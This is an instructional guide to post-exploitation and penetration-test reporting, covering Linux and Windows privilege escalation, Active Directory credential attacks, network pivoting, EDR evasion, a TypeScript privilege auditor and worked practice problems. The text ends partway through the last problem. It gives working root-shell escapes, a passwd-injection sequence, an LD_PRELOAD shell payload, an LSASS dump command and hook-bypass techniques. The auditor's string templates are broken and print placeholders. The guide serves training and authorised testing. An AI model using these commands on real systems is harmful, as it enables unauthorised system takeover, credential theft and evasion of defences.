Post-Exploitation, Privilege Escalation & Reporting

Obtaining an initial remote foothold on a target host represents only the preliminary milestone of an offensive security assessment. The true risk to an enterprise unfolds during post-exploitation, where security practitioners evaluate local privilege boundaries, harvest cached authentication credentials, pivot through segmented internal networks, and demonstrate the realistic business impact of full infrastructure compromise.

This guide provides an exhaustive, university-grade examination of post-exploitation, local privilege escalation across Linux and Microsoft Windows operating systems, Active Directory domain compromise mechanics (Kerberoasting, AS-REP Roasting, Pass-the-Hash), dynamic network pivoting, and the professional engineering required to deliver high-impact executive penetration testing reports.

1. The Post-Exploitation Lifecycle & Threat Modeling#

Post-exploitation encompasses the structured set of operational actions executed after successfully executing code on a target host. In professional security testing, post-exploitation is governed strictly by the engagement Rules of Engagement to avoid business disruption, data corruption, or service downtime.

       +-------------------------------------------------------------+
       |               Initial Foothold Established                  |
       |  (Web Shell, Reverse Shell, Exploited Service, Phishing)    |
       +------------------------------+------------------------------+
                                      |
                                      v
       +-------------------------------------------------------------+
       |               Local Situational Awareness                   |
       |  (whoami, id, uname -a, ip a, netstat, process listing)     |
       +------------------------------+------------------------------+
                                      |
                                      v
       +-------------------------------------------------------------+
       |               Local Privilege Escalation                    |
       |  (SUID/SGID, Kernel Exploits, Token Impersonation, Services)|
       +------------------------------+------------------------------+
                                      |
                                      v
       +-------------------------------------------------------------+
       |          Credential Harvesting & Internal Pivoting          |
       |  (LSASS Dumping, SAM, Kerberoasting, SSH SOCKS Tunneling)   |
       +------------------------------+------------------------------+
                                      |
                                      v
       +-------------------------------------------------------------+
       |        Active Directory Domain Dominance (Enterprise)       |
       |  (BloodHound Pathing, Golden Ticket, Domain Admin Control)  |
       +-------------------------------------------------------------+

MITRE ATT&CK Enterprise Alignment#

Post-exploitation activities span multiple sequential tactics in the MITRE ATT&CK Enterprise Matrix:

• TA0004 (Privilege Escalation): Exploitation for Privilege Escalation (T1068), Abuse Elevation Control Mechanism: Sudo and Sudo Caching (T1548.003), Access Token Manipulation (T1134).
• TA0005 (Defense Evasion): Masquerading (T1036), Impair Defenses: Disable or Modify Tools (T1562.001), Direct System Calls (T1106).
• TA0006 (Credential Access): OS Credential Dumping: LSASS Memory (T1003.001), Steal or Forge Kerberos Tickets: Kerberoasting (T1558.003).
• TA0007 (Discovery): System Owner/User Discovery (T1033), Network Service Discovery (T1046), Domain Trust Discovery (T1482).
• TA0008 (Lateral Movement): Use Alternate Authentication Material: Pass the Hash (T1550.002), Remote Services: SMB/Windows Admin Shares (T1021.002).

Living off the Land (LotL) Principle#

Modern endpoint detection and response (EDR) platforms immediately flag the compilation or downloading of foreign binary payloads. Professional operators practice Living off the Land: utilizing exclusively pre-installed, digitally signed system utilities to achieve operational objectives:

• LOLBAS (Living Off The Land Binaries and Scripts) on Windows: Utilizing certutil.exe, bitsadmin.exe, powershell.exe, rundll32.exe, wmic.exe.
• GTFOBins on Linux: Exploiting standard POSIX binaries (find, vim, tar, awk, gdb, curl) to bypass local security restrictions and elevate privileges.

2. Linux Privilege Escalation Architecture#

Linux privilege escalation elevates access from a low-privileged system user (e.g., www-data, nobody, or an unprivileged local user) to the superuser (root, UID 0).

       Linux Process Credential Vectors

       +-------------------------------------------------------------+
       |                      Process Struct                         |
       |  Real UID (RUID)  |  Effective UID (EUID) | Saved UID (SUID) |
       +------------------------------+------------------------------+
                                      |
         +----------------------------+----------------------------+
         |                                                         |
         v                                                         v
  Standard Execution                                         SUID Execution
  (RUID = 1001, EUID = 1001)                                (RUID = 1001, EUID = 0)
  Operating system permits only                              Operating system permits root
  unprivileged kernel actions.                              filesystem and memory access!

1. SUID and SGID Executable Abuses#

When an executable has the Set User ID (SUID) permission bit enabled (chmod u+s or octal 4755), the operating system executes the binary with the permissions of the file owner (typically root) rather than the permissions of the executing user.

# Locate all SUID binaries owned by root on the filesystem
find / -perm -4000 -user root -type f 2>/dev/null

Common GTFOBin SUID Escalation Primitives:

• `find`: If /usr/bin/find has the SUID bit set:

```bash

find . -exec /bin/sh -p \; -quit

```

The -p flag instructs /bin/sh to preserve the effective user ID (EUID 0), granting an instant root shell!

• `vim` / `view`: Escaping via built-in subshell:

```bash

vim -c ':!/bin/sh -p'

```

• `cp`: Overwriting sensitive root files:

```bash

# Copy /etc/passwd to a local copy, append a root user with known hash, overwrite /etc/passwd

cp /etc/passwd /tmp/passwd.bak

echo 'toor:AZl.c7PsmqT9U:0:0:root:/root:/bin/bash' >> /tmp/passwd.bak

cp /tmp/passwd.bak /etc/passwd

su toor

```

2. Sudo Misconfigurations & NOPASSWD#

The /etc/sudoers file dictates which users can run specific commands with elevated privileges:

# Check current user's permitted sudo commands
sudo -l

Dangerous Configurations:

• Wildcard and Interpreter Sudo Rights:

If the output displays: (ALL) NOPASSWD: /usr/bin/python3:

```bash

sudo python3 -c 'import os; os.system("/bin/sh")'

```

• `LD_PRELOAD` Environmental Variable Hijacking:

If sudo -l displays env_keep += LD_PRELOAD, the superuser environment inherits shared libraries loaded by the user. An attacker compiles a shared object that executes /bin/bash upon loading:

```c

// exploit.c

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

void _init() {

unsetenv("LD_PRELOAD");

setgid(0);

setuid(0);

system("/bin/bash");

}

```

```bash

gcc -fPIC -shared -o /tmp/exploit.so exploit.c -nostartfiles

sudo LD_PRELOAD=/tmp/exploit.so /usr/bin/find

# Instantly drops into a root shell!

```

3. Linux Kernel Exploits: Dirty COW & Dirty Pipe#

When misconfigurations are absent, outdated Linux kernels are vulnerable to local privilege escalation exploits:

• Dirty COW (CVE-2016-5195): A race condition in the kernel's memory management subsystem handling Copy-on-Write (COW) of private read-only memory mappings (mmap). An attacker can write to arbitrary read-only files (such as /etc/passwd), adding a root account.
• Dirty Pipe (CVE-2022-0847): A vulnerability in Linux kernels 5.8 through 5.16.11 where uninitialized flags in the internal pipe buffer structure (pipe_buffer.flags) allow overwriting data in arbitrary page cache pages backed by read-only files.

3. Microsoft Windows Privilege Escalation Mechanics#

Windows access control operates on security identifiers (SIDs) and Access Tokens. Elevating privileges involves transitioning from a standard user token or service account (NT AUTHORITY\NETWORK SERVICE) to the local superuser (NT AUTHORITY\SYSTEM).

       Windows Access Token Architecture

       +-------------------------------------------------------------+
       |                  Windows Access Token                       |
       |  User SID: S-1-5-21-...-1002 (Local User)                   |
       |  Group SIDs: S-1-5-32-545 (Users)                           |
       +------------------------------+------------------------------+
                                      |
                                      v
       +-------------------------------------------------------------+
       |                   Assigned Privileges                       |
       |  * SeChangeNotifyPrivilege         [Enabled]                |
       |  * SeImpersonatePrivilege          [Enabled] <=== DANGEROUS!|
       |  * SeDebugPrivilege                [Disabled]               |
       +-------------------------------------------------------------+

1. Token Impersonation & Potato Exploits#

Service accounts hosting web servers (e.g., IIS Application Pools IIS APPPOOL\DefaultAppPool) or SQL Server engines are granted specialized privileges:

• `SeImpersonatePrivilege`: Authorizes a process to impersonate any client token that authenticates to it.
• `SeAssignPrimaryTokenPrivilege`: Permits a process to assign a primary security token to a newly spawned process.

The Potato Attack Family (RottenPotato, JuicyPotato, PrintSpoofer):

1. The attacker tricks a local Windows RPC or DCOM service (running as NT AUTHORITY\SYSTEM) into authenticating against a rogue, attacker-controlled local named pipe or loopback RPC port.
2. The system service initiates an NTLM authentication handshake against the attacker's pipe.
3. Leveraging SeImpersonatePrivilege, the attacker captures and impersonates the security token of the connecting SYSTEM process, instantly launching a child shell under NT AUTHORITY\SYSTEM.

2. Service Misconfigurations & Unquoted Service Paths#

Windows services run under privileged service accounts and execute binary paths defined in the registry: HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>.

Unquoted Service Paths:

If a service executable path contains spaces and is not enclosed in quotation marks:

C:\Program Files\Enterprise Monitoring\Agent Service\monitor.exe

When the Windows Service Control Manager (SCM) attempts to start the service, it resolves the binary ambiguously, checking for executables at each whitespace break:

1. C:\Program.exe
2. C:\Program Files\Enterprise.exe
3. C:\Program Files\Enterprise Monitoring\Agent.exe
4. C:\Program Files\Enterprise Monitoring\Agent Service\monitor.exe

If standard users have write permissions to C:\Program Files\Enterprise Monitoring\, an attacker simply drops a malicious binary named Agent.exe. Upon service restart, SCM executes Agent.exe with NT AUTHORITY\SYSTEM privileges!

3. DLL Hijacking#

When an application loads a Dynamic Link Library (DLL) without specifying an absolute path, Windows searches for the DLL using the standard DLL Search Order:

1. The directory from which the application loaded.
2. The system directory (C:\Windows\System32).
3. The 16-bit system directory.
4. The Windows directory (C:\Windows).
5. The current working directory.
6. The directories listed in the system PATH environmental variable.

If a privileged service attempts to load a non-existent or misconfigured DLL (discovered via Process Monitor), placing a weaponized DLL in a writable directory higher in the search order forces the privileged process to execute arbitrary payload code.

4. Credential Harvesting & Active Directory Lateral Movement#

Once administrative control over an endpoint is achieved, assessors extract cached credentials from operating system memory to facilitate lateral movement across the enterprise Active Directory (AD) domain.

       Active Directory Kerberoasting Attack Path

       Attacker (Compromised Domain User)           Domain Controller (KDC)
             |                                                |
             | --- 1. Requests TGS for SPN (MSSQL/sql01) ---> |
             |                                                |
             | <--- 2. Returns TGS Ticket ------------------- |
             |      (Encrypted with Service Account NTLM Hash)|
             |                                                |
       [Attacker extracts TGS ticket from memory]
       [Runs Hashcat offline cracking against wordlist]
       [Recovers cleartext password of domain service account!]

1. LSASS Memory Extraction#

The Local Security Authority Subsystem Service (LSASS) process (lsass.exe) manages Windows security policies, user authentication, and Kerberos ticket caching. Operating systems cache credentials in LSASS memory to enable single sign-on (SSO).

# Administrative memory dump of LSASS via Task Manager or comsvcs.dll
rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump <lsass_pid> C:\temp\lsass.dmp full

Extracting credentials using tools like Mimikatz or pypykatz yields:

• Cleartext passwords (if WDigest caching is enabled).
• NTLM password hashes (for Pass-the-Hash attacks).
• Kerberos Ticket-Granting Tickets (TGTs) and session keys.

2. Kerberoasting (T1558.003)#

Kerberoasting is an Active Directory post-exploitation technique targeting domain user accounts that have a Service Principal Name (SPN) registered (e.g., Microsoft SQL Server, Microsoft Exchange, IIS service accounts).

Attack Mechanics:

1. Any authenticated domain user (regardless of privilege) can query Active Directory for all user accounts possessing an SPN:

```powershell

Get-DomainUser -SPN | Select-Object name, serviceprincipalname

```

1. The attacker requests a Kerberos Ticket-Granting Service (TGS) ticket for the target SPN from the Key Distribution Center (KDC / Domain Controller).
2. The Domain Controller generates the TGS ticket. The payload portion of the ticket is encrypted using the NTLM password hash of the service account.
3. The attacker extracts the TGS ticket from memory and exports it to an offline format (krb5tgs23...).
4. Because the ticket is held locally, the attacker performs offline brute-force and dictionary attacks using GPU clusters (hashcat -m 13100) without generating a single failed login event on the Domain Controller!

3. AS-REP Roasting (T1558.004)#

AS-REP Roasting targets user accounts configured with the attribute "Do not require Kerberos preauthentication" (DONT_REQ_PREAUTH).

• Normally, when requesting an initial Ticket-Granting Ticket (TGT), a user must encrypt a timestamp with their password hash to prove identity before the KDC returns a ticket.
• When preauthentication is disabled, any client can send an AS-REQ for that username. The KDC immediately returns an AS-REP containing a message component encrypted with the user's password hash.
• The attacker captures this response and cracks the hash offline using hashcat -m 18200.

5. Network Pivoting, Port Forwarding & Tunneling#

Enterprise networks are segmented into discrete security zones (DMZ, Corporate LAN, Secure Database Tier, Production PCI-DSS VLAN). A compromised machine in the DMZ frequently possesses a second network interface connected to the internal LAN. Pivoting uses the compromised host as a network proxy to route traffic into the internal enclave.

+-----------------------------------------------------------------------------------------+
|                                NETWORK PIVOTING ARCHITECTURE                            |
+-----------------------------------------------------------------------------------------+
|  Attacker Machine             Compromised DMZ Bastion         Internal Database (No Ext)|
|  (198.51.100.5)               (Dual-Homed Pivot)              (10.200.4.50)             |
|                               198.51.100.82 / 10.200.4.1                                |
|        |                                    |                                    |      |
|        | === SSH Dynamic SOCKS5 Tunnel ===> |                                    |      |
|        |     (Port 1080)                    | --- Internal TCP 5432 (Postgres)-> |      |
|        |                                    |                                    |      |
+-----------------------------------------------------------------------------------------+

Pivoting Methodologies#

1. SSH Dynamic Port Forwarding (SOCKS Proxy):

Creates a local SOCKS5 proxy on the attacker's machine, routing all TCP connections through the compromised host:

```bash

ssh -D 1080 -N -f root@198.51.100.82

# Using proxychains to route Nmap or browser traffic through the pivot

proxychains nmap -sT -Pn -p 80,443,5432 10.200.4.50

```

1. Local and Remote Port Forwarding:

- Local Port Forwarding (`-L`): Forwards a local port on the attacker's machine directly to an internal server port:

```bash

ssh -L 5432:10.200.4.50:5432 root@198.51.100.82

# Connect locally to Postgres

psql -h 127.0.0.1 -p 5432 -U dbuser

```

- Remote Reverse Port Forwarding (`-R`): Routes a port from the compromised pivot back to the attacker (essential when the target is behind a NAT gateway):

```bash

ssh -R 8080:10.200.4.50:80 attacker@198.51.100.5

```

1. Layer 3 VPN Tunnels (Ligolo-ng & Chisel):

Modern post-exploitation utilizes tools like Ligolo-ng to create a virtual TUN interface on the attacker's operating system. This allows direct IP routing, SYN scans (-sS), and native UDP traffic across the pivot without the limitations of SOCKS layer proxies.

6. Defensive Evasion & Endpoint Detection (EDR) Architecture#

Endpoint Detection and Response (EDR) agents (CrowdStrike Falcon, Microsoft Defender for Endpoint, SentinelOne) monitor process creation, memory allocations, and kernel events.

User-Mode API Hooking vs. Direct System Calls#

To monitor application behavior, EDRs inject an inspection DLL (e.g., atc.dll, csagent.dll) into every user-mode process at startup. The EDR modifies the exported system call stubs in ntdll.dll in memory, replacing the initial assembly instructions with an unconditional jump (jmp) to the EDR's inspection engine:

       Standard Windows ntdll.dll System Call Stub (Unhooked)
       mov r10, rcx
       mov eax, 0x18       ; System Call Number (SSN for NtAllocateVirtualMemory)
       syscall
       ret

       EDR Hooked System Call Stub
       jmp <EDR_Inspection_Engine_Address>  <=== Intercepts call to audit parameters!
       nop
       nop
       syscall
       ret

Bypassing User-Mode Hooks:

• Direct System Calls (SysWhispers / Hell's Gate): The offensive payload defines its own assembly stubs, loading the System Service Number (SSN) into eax and executing syscall directly. This bypasses the hooked functions in ntdll.dll completely.
• ntdll Unhooking: The payload reads a fresh, unhooked copy of ntdll.dll directly from disk (C:\Windows\System32\ntdll.dll), locates the .text executable code section, and overwrites the hooked memory in its own process space with the original clean bytes.

7. Professional Post-Exploitation Audit Engine in TypeScript#

The following complete TypeScript implementation provides a cross-platform post-exploitation situational awareness engine. It audits system identity, parses user privilege boundaries, checks for dangerous sudoers permissions, and highlights privilege escalation vectors:

/**
 * Cross-Platform Post-Exploitation Situational Awareness & Privilege Auditor
 * Built for Node.js 18+
 */

import * as os from 'node:os';
import * as fs from 'node:fs';

export interface AuditReport {
  timestamp: string;
  hostInfo: {
    hostname: string;
    platform: string;
    architecture: string;
    kernelRelease: string;
    uptimeHours: number;
  };
  identity: {
    username: string;
    uid: number;
    gid: number;
    homedir: string;
    isSuperuser: boolean;
  };
  privilegeVectors: PrivilegeFinding[];
}

export interface PrivilegeFinding {
  vector: string;
  severity: 'INFO' | 'MEDIUM' | 'HIGH' | 'CRITICAL';
  details: string;
  remediation: string;
}

export class PostExploitAuditor {
  public runAudit(): AuditReport {
    console.log('[*] Commencing Post-Exploitation Situational Audit...');

    const userInfo = os.userInfo();
    const isRootOrSystem = userInfo.uid === 0 || userInfo.username === 'root' || userInfo.username === 'SYSTEM';

    const report: AuditReport = {
      timestamp: new Date().toISOString(),
      hostInfo: {
        hostname: os.hostname(),
        platform: os.platform(),
        architecture: os.arch(),
        kernelRelease: os.release(),
        uptimeHours: Math.floor(os.uptime() / 3600)
      },
      identity: {
        username: userInfo.username,
        uid: userInfo.uid,
        gid: userInfo.gid,
        homedir: userInfo.homedir,
        isSuperuser: isRootOrSystem
      },
      privilegeVectors: []
    };

    // Evaluate Linux Specific Vectors
    if (os.platform() === 'linux') {
      this.auditLinuxVectors(report);
    }

    return report;
  }

  private auditLinuxVectors(report: AuditReport): void {
    // 1. Audit /etc/passwd permissions
    try {
      const stats = fs.statSync('/etc/passwd');
      const isWorldWritable = Boolean(stats.mode & 0o002);
      if (isWorldWritable) {
        report.privilegeVectors.push({
          vector: 'Writable /etc/passwd File',
          severity: 'CRITICAL',
          details: 'The /etc/passwd file is writable by all users (World Writable).',
          remediation: 'Execute: chmod 644 /etc/passwd'
        });
      }
    } catch {
      // Permission denied or file unavailable
    }

    // 2. Audit SUID binaries in standard directories
    const commonSuidPaths = ['/bin/find', '/usr/bin/find', '/usr/bin/vim', '/usr/bin/python3', '/usr/bin/pkexec'];
    for (const binPath of commonSuidPaths) {
      try {
        if (fs.existsSync(binPath)) {
          const stats = fs.statSync(binPath);
          const isSuid = Boolean(stats.mode & 0o4000);
          if (isSuid) {
            report.privilegeVectors.push({
              vector: `Dangerous SUID Binary: {binPath}`,
              severity: 'HIGH',
              details: `Binary {binPath} has the SUID bit asserted and permits arbitrary subshell execution.`,
              remediation: `Execute: chmod u-s {binPath}`
            });
          }
        }
      } catch {
        // Continue
      }
    }
  }
}

// Verification execution
if (require.main === module) {
  const auditor = new PostExploitAuditor();
  const results = auditor.runAudit();
  console.log('\n=== Post-Exploitation Audit Summary ===');
  console.log(`Host: {results.hostInfo.hostname} ({results.hostInfo.platform} {results.hostInfo.architecture})`);
  console.log(`Current User: {results.identity.username} (UID: {results.identity.uid}, Superuser: {results.identity.isSuperuser})`);
  console.log(`Identified Potential Vectors: {results.privilegeVectors.length}`);
  for (const v of results.privilegeVectors) {
    console.log(`  [{v.severity}] {v.vector} -> {v.details}`);
  }
}

8. Mathematical Foundations of Post-Exploitation & Lateral Movement#

1. Offline Hashcat Password Cracking Time Complexity#

When extracting Kerberos TGS tickets (Kerberoasting) or NTLM password hashes, cracking speed depends on the password keyspace size and GPU hash throughput:

Given an alphabet size |Σ| and password length L:

Keyspace Size S = |Σ|^LThe time required to exhaust the keyspace at a cracking rate of H_{rate} hashes per second is:

T = (|Σ|^L) / (H_{rate})Cracking Speed Disparity:

• NTLM Hash (MD4-based): High GPU optimization. A modern dual Nvidia RTX 4090 rig computes NTLM hashes at:

H_{rate} ≈ 200 × 10^9 hashes/second (200 GH/s)- Kerberos 5 TGS (krb5tgs, RC4-HMAC Type 23):

H_{rate} ≈ 8 × 10^9 hashes/second (8 GH/s)- Linux SHA-512 crypt (5,000 rounds):

H_{rate} ≈ 500,000 hashes/second (500 kH/s)Comparison for an 8-character lowercase alphanumeric password (|Σ| = 36, L = 8):

S = 36^8 = 2,821,109,907,456 combinations- NTLM Cracking Time:

T_{NTLM} = (2.821 × 10^{12}) / (200 × 10^9) ≈ 14.1 seconds!- Kerberoast (RC4) Cracking Time:

T_{Kerberoast} = (2.821 × 10^{12}) / (8 × 10^9) ≈ 352.6 seconds (5.87 minutes)- Linux SHA-512 Cracking Time:

T_{SHA512} = (2.821 × 10^{12}) / (500,000) ≈ 5,642,219 seconds ≈ 65.3 days!This mathematical comparison proves why NTLM hashes and RC4-encrypted Kerberos tickets present severe security risks: their lack of key stretching allows immediate brute-force recovery.

2. Graph Traversal Complexity of Active Directory Attack Paths#

Active Directory domains comprise thousands of users, computers, groups, access control lists (ACLs), and session tokens. Tools like BloodHound model Active Directory as a directed graph G = (V, E), where:

• Vertices V represent identity objects (Users, Groups, Computers, Domains, Organizational Units).
• Edges E represent administrative relationships (MemberOf, AdminTo, HasSession, GenericAll, WriteDacl, AllExtendedRights).

To identify the shortest path from an initial compromised user vertex v_{start} to the Domain Admins group vertex v_{target}, the engine uses Breadth-First Search (BFS) or Dijkstra's Algorithm:

Time Complexity = O(|V| + |E|)In an enterprise AD environment with |V| = 50,000 objects and |E| = 300,000 relationships:

|V| + |E| = 350,000 operationsA graph traversal algorithm executes this search in less than 15 milliseconds, exposing multi-hop privilege escalation paths (e.g., User A ──> Member of Group B ──> Has GenericAll over User C ──> Session on Computer D ──> Domain Admin) that human administrators cannot detect manually.

3. Kerberos Timestamp Replay Window Analysis#

Kerberos prevents replay attacks by embedding the client's current timestamp in the authenticator:

Authenticator = E_{K_C}(T_C, client_name)The Domain Controller verifies that the received timestamp T_C does not deviate from the Domain Controller's local clock T_S by more than the maximum permitted clock skew Δ T_{max}:

|T_C - T_S| ≤ Δ T_{max}Under Active Directory default Group Policy:

Δ T_{max} = 5 minutes (300 seconds)If an attacker captures a valid Kerberos authenticator ticket, they have a maximum window of 300 seconds to replay that ticket against a service before the Domain Controller drops it as stale, unless the target service maintains a replay cache (recording recently seen authenticator hashes).

9. Executive Reporting & Remediation Delivery#

The final and most critical deliverable of a professional security assessment is the Penetration Testing Report. High-quality technical work is wasted if findings are not effectively communicated to both executive leadership and technical engineering teams.

+-----------------------------------------------------------------------------------------+
|                         PENETRATION TESTING REPORT ARCHITECTURE                         |
+-----------------------------------------------------------------------------------------+
|  1. Executive Summary     |  - High-level risk score & overall security posture         |
|                           |  - Strategic business impact (financial, operational, brand)|
|                           |  - Visual risk heatmap & maturity scorecards                |
+---------------------------+-------------------------------------------------------------+
|  2. Assessment Metrics    |  - Total findings categorized by CVSS severity              |
|                           |  - Target scope adherence & testing window verification     |
+---------------------------+-------------------------------------------------------------+
|  3. Detailed Findings     |  - Vulnerability Title & CVE / CWE classification           |
|                           |  - CVSS v3.1 Base Vector string                             |
|                           |  - Step-by-step reproduction walkthrough with evidence      |
|                           |  - Root cause technical analysis                            |
+---------------------------+-------------------------------------------------------------+
|  4. Remediation Roadmap   |  - Tactical short-term fixes (P1: 24-48h, P2: 7-14d)        |
|                           |  - Strategic architectural mitigations (IAM, network micro) |
+---------------------------+-------------------------------------------------------------+

Essential Reporting Best Practices#

1. Reproducibility: Every vulnerability must include an unambiguous, step-by-step reproduction walkthrough. A junior developer must be able to reproduce the exact issue using only the report.
2. Sanitized Evidence: Screenshots and code snippets must redact sensitive customer personal data (PII) or third-party secrets inadvertently accessed during testing.
3. Actionable Remediation: Reports must provide concrete configuration directives, code patches, and architectural fixes rather than vague generalities like "keep software updated".
4. Post-Engagement Clean-Up Verification:

The report must document the successful removal of all test artifacts:

- Deletion of dropped web shells, temporary scripts, and staging directories (/tmp/exploit.so).

- Removal of test user accounts created during the assessment.

- Restoration of modified configuration files and permissions to their baseline state.

10. Checkpoint Practice Problems & Step-by-Step Solutions#

Problem 1: Offline Hashcat Kerberoast Cracking Time & Keyspace Analysis#

Scenario: During an internal penetration test, an assessor extracts an RC4-HMAC Kerberos TGS ticket (krb5tgs23*...) for the Active Directory service account svc_sql_reporting.

Organizational password policy mandates that all service accounts use an 8-character password composed of alphanumeric characters (a-z, A-Z, 0-9). The assessor deploys an offline cracking rig utilizing four Nvidia RTX 4090 GPUs, achieving an aggregate hash cracking throughput of 16 Gigahashes per second (16 GH/s) on Hashcat mode 13100.

Questions:

1. Calculate the total size of the keyspace S for an 8-character alphanumeric password.
2. Calculate the worst-case time required to exhaust the entire keyspace in minutes and hours.
3. Calculate the average time required to discover the password (assuming a uniform probability distribution across the keyspace).
4. If the enterprise updates its password policy to require 12-character passwords from the same character set, calculate the new average cracking time.

Solution:

Step 1: Calculate Keyspace Size:

Alphabet: Lowercase (26) + Uppercase (26) + Digits (10) = 62 characters (|Σ| = 62).

Length: L = 8.

S = |Σ|^L = 62^8 = 218,340,105,584,896 combinations ≈ 2.183 × 10^{14}Step 2: Calculate Worst-Case Cracking Time:

Throughput H_{rate} = 16 GH/s = 16 × 10^9 hashes/second.

T_{worst-case} = (218,340,105,584,896) / (16 × 10^9) ≈ 13,646.25 secondsConvert to minutes and hours:

T_{minutes} = (13,646.25) / (60) ≈ 227.44 minutesT_{hours} = (227.44) / (60) ≈ 3.79 hoursStep 3: Calculate Average Cracking Time:

Under a uniform distribution, the target password is discovered on average at the midpoint of the keyspace (S / 2):

T_{average} = (T_{worst-case}) / (2) = (3.79 hours) / (2) ≈ 1.895 hours (1 hour, 54 minutes)An attacker running a standard GPU rig will recover the service account password in under two hours!

Step 4: Evaluate 12-Character Password Policy:

For L = 12:

S_{new} = 62^{12} ≈ 3.226 × 10^{21} combinationsAverage cracking time:

T_{avg-new} = (S_{new}) / (2 × H_{rate}) = (3.226 × 10^{21}) / (2 × (16 × 10^9)) = (3.226 × 10^{21}) / (3.2 × 10^{10}) ≈ 1.008 × 10^{11} secondsConvert to years:

T_{years} = (1.008 × 10^{11}) / (31,536,000 seconds/year) ≈ 3,196.8 years!Increasing the password length by just 4 characters expands the keyspace by a factor of 62^4 ≈ 14.77 × 10^6 (nearly 15 million times), transforming an afternoon attack into an intractable 3,000-year computation.

Problem 2: SUID Bitmask Octal Logic & Unquoted Service Path Vulnerability Identification#

Scenario: An assessor audits two target systems:

1. Linux Target: The assessor inspects a custom backup binary /opt/backup/archive_sync. Executing stat /opt/backup/archive_sync reports permissions in octal as `4755` and ownership by root:root.
2. Windows Target: Querying the Service Control Manager via wmic service get name,displayname,pathname,startmode reveals a third-party application service:

Name: CloudDataSync

PathName: C:\Program Files\Cloud Solutions\Data Sync Engine\syncservice.exe

StartMode: Auto

Security permissions on C:\Program Files\Cloud Solutions\ grant the BUILTIN\Users group FILE_APPEND_DATA and FILE_WRITE_DATA permissions.

Questions:

1. In the Linux octal permission 4755, identify the exact meaning of the leading digit 4 and explain what happens when an unprivileged user executes this binary.
2. In the Windows service, identify the architectural vulnerability and enumerate the exact path locations where Windows SCM will attempt to execute binaries upon system reboot.
3. Detail the exact exploit payload filename the assessor should place on the Windows target to achieve SYSTEM privileges, and specify how the administrator must fix the service definition.

Solution:

Step 1: Linux Octal Permission Analysis:

• The standard POSIX file mode consists of 4 octal digits: S U G O (Special, User, Group, Others).
• In 4755:

- Leading digit 4 corresponds to the SUID (Set User ID) bit (0b100 in binary).

- Digits 7 5 5 correspond to: Owner = rwx (7), Group = r-x (5), Others = r-x (5).

• Behavior: When an unprivileged user (UID 1001) executes /opt/backup/archive_sync, the Linux kernel sets the process's Effective UID (EUID) to 0 (root). If the binary contains internal shell escapes, insecure system calls (system()), or vulnerable path lookups, the unprivileged user can compromise full root privileges.

Step 2: Windows Unquoted Service Path Analysis:

• Vulnerability: Unquoted Service Path with Insecure Directory Permissions.
• Because the PathName string contains spaces and lacks encapsulating quotation marks ("), the Windows Service Control Manager interprets spaces as argument delimiters.
• The SCM resolves the binary by searching sequentially:

1. C:\Program.exe

2. C:\Program Files\Cloud.exe

3. C:\Program Files\Cloud Solutions\Data.exe

4. C:\Program Files\Cloud Solutions\Data Sync Engine\syncservice.exe

Step 3: Exploitation and Remediation:

• Exploitation:

Because standard users have write permissions to C:\Program Files\Cloud Solutions\, the assessor compiles a reverse shell binary and names it:

C:\Program Files\Cloud Solutions\Data.exe

When the machine reboots or the service restarts, SCM checks location #3 before location #4, executing Data.exe under the service's privileged context (NT AUTHORITY\SYSTEM).

• Remediation:

Wrap the entire executable path in quotation marks within the Windows Registry:

```cmd

sc config CloudDataSync binpath= "\"C:\Program Files\Cloud Solutions\Data Sync Engine\syncservice.exe\""

```

Problem 3: Graph Traversal Complexity of Active Directory BloodHound Attack Paths#

Scenario: An enterprise Active Directory forest contains:

• |V_{users}| = 12,000 user accounts
• |V_{computers}| = 8,000 computer objects
• |V_{groups}| = 3,500 security groups
• Total Vertices |V| = 12,000 + 8,000 + 3,500 = 23,500 nodes.
• Total Administrative Edges |E| = 145,000 edges.

An assessor compromises a low-privilege domain user j.doe@corp.internal. To determine if a path exists from j.doe to the Domain Admins group, BloodHound executes a Breadth-First Search (BFS) graph traversal algorithm.

Questions:

1. Formulate the time complexity equation for Breadth-First Search on a directed graph G = (V, E).
2. Calculate the maximum theoretical operation count required to determine the shortest path or confirm no path exists.
3. If an automated traversal engine processes each edge evaluation in 120 nanoseconds (120 × 10^{-9} seconds), calculate the total execution time in milliseconds.
4. If the shortest path discovered is:

j.doe ──(MemberOf)──> HelpDesk ──(GenericAll)──> svc_backup ──(AdminTo)──> DC01.corp.internal

explain how the assessor leverages the GenericAll edge to compromise svc_backup.

Solution:

Step 1: Breadth-First Search Time Complexity:

For a graph G = (V, E) using an adjacency list representation:

Time Complexity = O(|V| + |E|)Every vertex is queued and visited at most once, and every outgoing edge is traversed at most once.

Step 2: Calculate Maximum Operation Count:

Max Operations = |V| + |E| = 23,500 + 145,000 = 168,500 operationsStep 3: Calculate Execution Time in Milliseconds:

Given t_{op} = 120 ns = 120 × 10^{-9} seconds:

T_{total} = 168,500 × (120 × 10^{-9}) = 0.02022 seconds ≈ 20.22 millisecondsThe entire enterprise domain graph of 23,500 systems is traversed in approximately 20 milliseconds.

Step 4: Exploiting the `GenericAll` Edge:

• The edge HelpDesk ──(GenericAll)──> svc_backup grants all members of the HelpDesk group Full Control (GenericAll) over the svc_backup user object in Active Directory.
• Exploitation Method:

Because j.doe is a member of HelpDesk, j.doe possesses permissions to:

1. Force-Reset the Password: Use standard Active Directory administrative tools or PowerView to overwrite svc_backup's password directly:

Set-DomainUserPassword -Identity svc_backup -AccountPassword "NewPassword123!"

2. Grant Targeted Kerberos Delegation: Modify the user's UserAccountControl flags to enable unconstrained or constrained Kerberos delegation.

3. Targeted SPN Addition: Add a custom SPN to svc_backup and immediately Kerberoast the account.

Once svc_backup is controlled, the assessor logs directly into DC01 (since svc_backup has AdminTo privileges on the Domain Controller), achieving full Active Directory domain compromise!

Problem 4: Kerberos Ticket Timestamp Synchronization & Replay Window Analysis#

Scenario: An attacker captures a valid Kerberos AP-REQ authenticator packet sent from a client host to an internal file server (FILE01.corp.internal). The authenticator was created by the client at timestamp T_C = 14:32:10 UTC.

The Domain Controller and the target file server enforce the standard Active Directory Kerberos clock skew policy:

Δ T_{max} = 300 seconds (5 minutes)Assume the file server's internal system clock is currently synchronized to T_S = 14:34:40 UTC.

Questions:

1. Calculate the current absolute time difference |T_C - T_S| in seconds between the client ticket timestamp and the file server clock.
2. Determine whether the file server will accept or reject the ticket if the attacker replays it immediately at 14:34:40 UTC.
